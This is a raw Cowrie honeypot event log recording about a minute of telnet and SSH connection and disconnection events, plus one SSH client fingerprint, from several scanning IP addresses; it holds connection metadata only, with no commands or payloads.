{"eventid":"cowrie.session.closed","duration":49.43533515930176,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:57.662350Z","src_ip":"165.232.131.181","session":"9eb91c8afd29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.37513756752014,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:01.276516Z","src_ip":"62.210.97.77","session":"ea8f4a0bc864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.334213733673096,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:01.493490Z","src_ip":"62.210.97.77","session":"9b65f674d9b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.96016216278076,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:01.724551Z","src_ip":"165.232.131.181","session":"968e20650af9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"c14f90d41647","protocol":"telnet","message":"New connection: 165.232.131.181:58548 (10.17.0.5:23) [session: c14f90d41647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:02.440322Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59138,"dst_ip":"10.17.0.5","dst_port":23,"session":"06ef30729a41","protocol":"telnet","message":"New connection: 165.232.131.181:59138 (10.17.0.5:23) [session: 06ef30729a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:02.757844Z"}
{"eventid":"cowrie.session.closed","duration":37.539472818374634,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:02.958497Z","src_ip":"62.210.97.77","session":"2fdac819e517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.652257442474365,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:04.012238Z","src_ip":"65.60.27.33","session":"2c67ffd6b9bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.70351767539978,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:04.298146Z","src_ip":"62.210.97.77","session":"7bf0d8cbbf8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.6681706905365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:05.415024Z","src_ip":"62.210.97.77","session":"481251dc6d4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":53888,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad417a62b513","protocol":"ssh","message":"New connection: 45.78.198.206:53888 (10.17.0.5:22) [session: ad417a62b513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:06.004584Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45688,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cb70567800a","protocol":"telnet","message":"New connection: 62.210.97.77:45688 (10.17.0.5:23) [session: 9cb70567800a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:06.050743Z"}
{"eventid":"cowrie.session.closed","duration":36.28424859046936,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:06.511882Z","src_ip":"62.210.97.77","session":"48f6a56935ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45702,"dst_ip":"10.17.0.5","dst_port":23,"session":"b49c168f3a42","protocol":"telnet","message":"New connection: 62.210.97.77:45702 (10.17.0.5:23) [session: b49c168f3a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:06.774901Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53264,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1d834588e3","protocol":"telnet","message":"New connection: 38.54.119.93:53264 (10.17.0.5:23) [session: cb1d834588e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:07.209517Z"}
{"eventid":"cowrie.session.closed","duration":34.84752368927002,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:07.579879Z","src_ip":"62.210.97.77","session":"10d338d30879","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:08.789609Z","src_ip":"45.78.198.206","session":"ad417a62b513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:09.902891Z","src_ip":"45.78.198.206","session":"ad417a62b513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:09.910239Z","src_ip":"45.78.198.206","session":"ad417a62b513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50310,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb4470ea2dbd","protocol":"telnet","message":"New connection: 165.232.131.181:50310 (10.17.0.5:23) [session: fb4470ea2dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:12.683545Z"}
{"eventid":"cowrie.session.closed","duration":38.7614803314209,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:13.083033Z","src_ip":"62.210.97.77","session":"9b5bedc1da27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.3604154586792,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:13.555027Z","src_ip":"65.60.27.33","session":"5fe373e38610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42490,"dst_ip":"10.17.0.5","dst_port":23,"session":"82ce21715988","protocol":"telnet","message":"New connection: 62.210.97.77:42490 (10.17.0.5:23) [session: 82ce21715988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:13.919662Z"}
{"eventid":"cowrie.session.closed","duration":41.880303382873535,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:15.238712Z","src_ip":"165.232.131.181","session":"02fde665bebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42500,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d91be3d2be8","protocol":"telnet","message":"New connection: 62.210.97.77:42500 (10.17.0.5:23) [session: 0d91be3d2be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:15.467978Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58746,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e43ce063bde","protocol":"telnet","message":"New connection: 38.54.119.93:58746 (10.17.0.5:23) [session: 1e43ce063bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:15.474820Z"}
{"eventid":"cowrie.session.closed","duration":4.564908504486084,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:17.248284Z","src_ip":"165.232.131.181","session":"fb4470ea2dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.677201986312866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:18.054678Z","src_ip":"62.210.97.77","session":"be21be397d69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57680,"dst_ip":"159.203.135.109","dst_port":23,"session":"acc43984975f","protocol":"telnet","message":"New connection: 134.209.8.29:57680 (159.203.135.109:23) [session: acc43984975f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:18.208894Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54944,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eec2b73015d","protocol":"telnet","message":"New connection: 62.210.97.77:54944 (10.17.0.5:23) [session: 4eec2b73015d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:18.685454Z"}
{"eventid":"cowrie.session.closed","duration":35.66938042640686,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:19.344681Z","src_ip":"62.210.97.77","session":"94d170c0b63a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84406065940857,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:19.488484Z","src_ip":"62.210.97.77","session":"afa99813d403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34932,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7d7832c5d4","protocol":"telnet","message":"New connection: 65.60.27.33:34932 (10.17.0.5:23) [session: bf7d7832c5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:21.071196Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57694,"dst_ip":"159.203.135.109","dst_port":23,"session":"2adbfa491789","protocol":"telnet","message":"New connection: 134.209.8.29:57694 (159.203.135.109:23) [session: 2adbfa491789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:21.130153Z"}
{"eventid":"cowrie.session.closed","duration":0.0046231746673583984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:21.134661Z","src_ip":"134.209.8.29","session":"2adbfa491789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.171707391738892,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:21.646418Z","src_ip":"38.54.119.93","session":"1e43ce063bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87274193763733,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:21.835502Z","src_ip":"62.210.97.77","session":"f4210f745249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.72138595581055,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:22.403211Z","src_ip":"65.60.27.33","session":"8674f8d93dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54956,"dst_ip":"10.17.0.5","dst_port":23,"session":"041fb872394d","protocol":"telnet","message":"New connection: 62.210.97.77:54956 (10.17.0.5:23) [session: 041fb872394d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:22.745529Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39076,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3330ae9baef","protocol":"telnet","message":"New connection: 134.209.8.29:39076 (159.203.135.109:23) [session: d3330ae9baef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:24.144268Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54972,"dst_ip":"10.17.0.5","dst_port":23,"session":"b210622a515d","protocol":"telnet","message":"New connection: 62.210.97.77:54972 (10.17.0.5:23) [session: b210622a515d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:26.860629Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41508,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ee6f5da98f","protocol":"telnet","message":"New connection: 65.60.27.33:41508 (10.17.0.5:23) [session: 70ee6f5da98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:26.911306Z"}
{"eventid":"cowrie.session.closed","duration":35.6389741897583,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:27.363827Z","src_ip":"62.210.97.77","session":"0caf8d32cb3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.654083728790283,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:27.798145Z","src_ip":"134.209.8.29","session":"d3330ae9baef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.653971910476685,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:27.925780Z","src_ip":"165.232.131.181","session":"1a68dc0f8e1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.205453157424927,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:29.276532Z","src_ip":"65.60.27.33","session":"bf7d7832c5d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42736,"dst_ip":"10.17.0.5","dst_port":23,"session":"50e68d4e9369","protocol":"telnet","message":"New connection: 38.54.119.93:42736 (10.17.0.5:23) [session: 50e68d4e9369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:32.194736Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47058,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d285a28a93","protocol":"telnet","message":"New connection: 65.60.27.33:47058 (10.17.0.5:23) [session: d0d285a28a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:32.739497Z"}
{"eventid":"cowrie.session.closed","duration":50.406880140304565,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:37.566211Z","src_ip":"38.54.119.93","session":"e003b46d574a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.589669942855835,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:38.784274Z","src_ip":"38.54.119.93","session":"50e68d4e9369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59598,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cc780b040a4","protocol":"telnet","message":"New connection: 62.210.97.77:59598 (10.17.0.5:23) [session: 3cc780b040a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:39.455140Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47884,"dst_ip":"10.17.0.5","dst_port":23,"session":"af75665cb95d","protocol":"telnet","message":"New connection: 38.54.119.93:47884 (10.17.0.5:23) [session: af75665cb95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:40.087907Z"}
{"eventid":"cowrie.session.closed","duration":35.15231013298035,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:41.202945Z","src_ip":"62.210.97.77","session":"9cb70567800a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48668,"dst_ip":"10.17.0.5","dst_port":23,"session":"7941fed38107","protocol":"telnet","message":"New connection: 38.54.119.93:48668 (10.17.0.5:23) [session: 7941fed38107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:41.269116Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59122,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b919af124be","protocol":"telnet","message":"New connection: 65.60.27.33:59122 (10.17.0.5:23) [session: 1b919af124be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:42.012493Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45796,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b7be2549fd","protocol":"telnet","message":"New connection: 165.232.131.181:45796 (10.17.0.5:23) [session: 28b7be2549fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:42.627944Z"}
{"eventid":"cowrie.session.closed","duration":36.926501512527466,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:43.701302Z","src_ip":"62.210.97.77","session":"b49c168f3a42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.700411081314087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:45.619944Z","src_ip":"62.210.97.77","session":"82ce21715988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82658576965332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:46.294448Z","src_ip":"62.210.97.77","session":"0d91be3d2be8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56060,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae0dd187fbfc","protocol":"telnet","message":"New connection: 62.210.97.77:56060 (10.17.0.5:23) [session: ae0dd187fbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:49.788042Z"}
{"eventid":"cowrie.session.closed","duration":47.79886794090271,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:50.239068Z","src_ip":"165.232.131.181","session":"c14f90d41647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50208,"dst_ip":"10.17.0.5","dst_port":23,"session":"a018ff3d17bd","protocol":"telnet","message":"New connection: 165.232.131.181:50208 (10.17.0.5:23) [session: a018ff3d17bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:50.951968Z"}
{"eventid":"cowrie.session.closed","duration":50.413270711898804,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:53.170997Z","src_ip":"165.232.131.181","session":"06ef30729a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.31397294998169,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:53.523394Z","src_ip":"38.54.119.93","session":"cb1d834588e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.312742233276367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:54.058165Z","src_ip":"62.210.97.77","session":"041fb872394d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51110,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee3fc13244e","protocol":"telnet","message":"New connection: 165.232.131.181:51110 (10.17.0.5:23) [session: dee3fc13244e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:54.100855Z"}
{"eventid":"cowrie.session.closed","duration":4.084744453430176,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:55.036569Z","src_ip":"165.232.131.181","session":"a018ff3d17bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56076,"dst_ip":"10.17.0.5","dst_port":23,"session":"195438c5e803","protocol":"telnet","message":"New connection: 62.210.97.77:56076 (10.17.0.5:23) [session: 195438c5e803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:55.257001Z"}
{"eventid":"cowrie.session.closed","duration":36.94710063934326,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:55.632416Z","src_ip":"62.210.97.77","session":"4eec2b73015d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48128,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4eb5ddb8667","protocol":"telnet","message":"New connection: 65.60.27.33:48128 (10.17.0.5:23) [session: c4eb5ddb8667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:56.602905Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48764,"dst_ip":"10.17.0.5","dst_port":23,"session":"881da806e7d3","protocol":"telnet","message":"New connection: 62.210.97.77:48764 (10.17.0.5:23) [session: 881da806e7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:59.033536Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48776,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd1bd1f81bff","protocol":"telnet","message":"New connection: 62.210.97.77:48776 (10.17.0.5:23) [session: cd1bd1f81bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:48:59.808331Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53736,"dst_ip":"10.17.0.5","dst_port":23,"session":"0034ee5f785d","protocol":"telnet","message":"New connection: 165.232.131.181:53736 (10.17.0.5:23) [session: 0034ee5f785d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:00.352788Z"}
{"eventid":"cowrie.session.closed","duration":34.04055595397949,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:00.901073Z","src_ip":"62.210.97.77","session":"b210622a515d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48788,"dst_ip":"10.17.0.5","dst_port":23,"session":"74cb712b86ff","protocol":"telnet","message":"New connection: 62.210.97.77:48788 (10.17.0.5:23) [session: 74cb712b86ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:02.287462Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.137.156.209","src_port":16978,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8bdf0b667be","protocol":"telnet","message":"New connection: 143.137.156.209:16978 (159.203.135.109:23) [session: b8bdf0b667be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:03.611871Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48800,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf59dde0ab9f","protocol":"telnet","message":"New connection: 62.210.97.77:48800 (10.17.0.5:23) [session: cf59dde0ab9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:49:04.463723Z"}
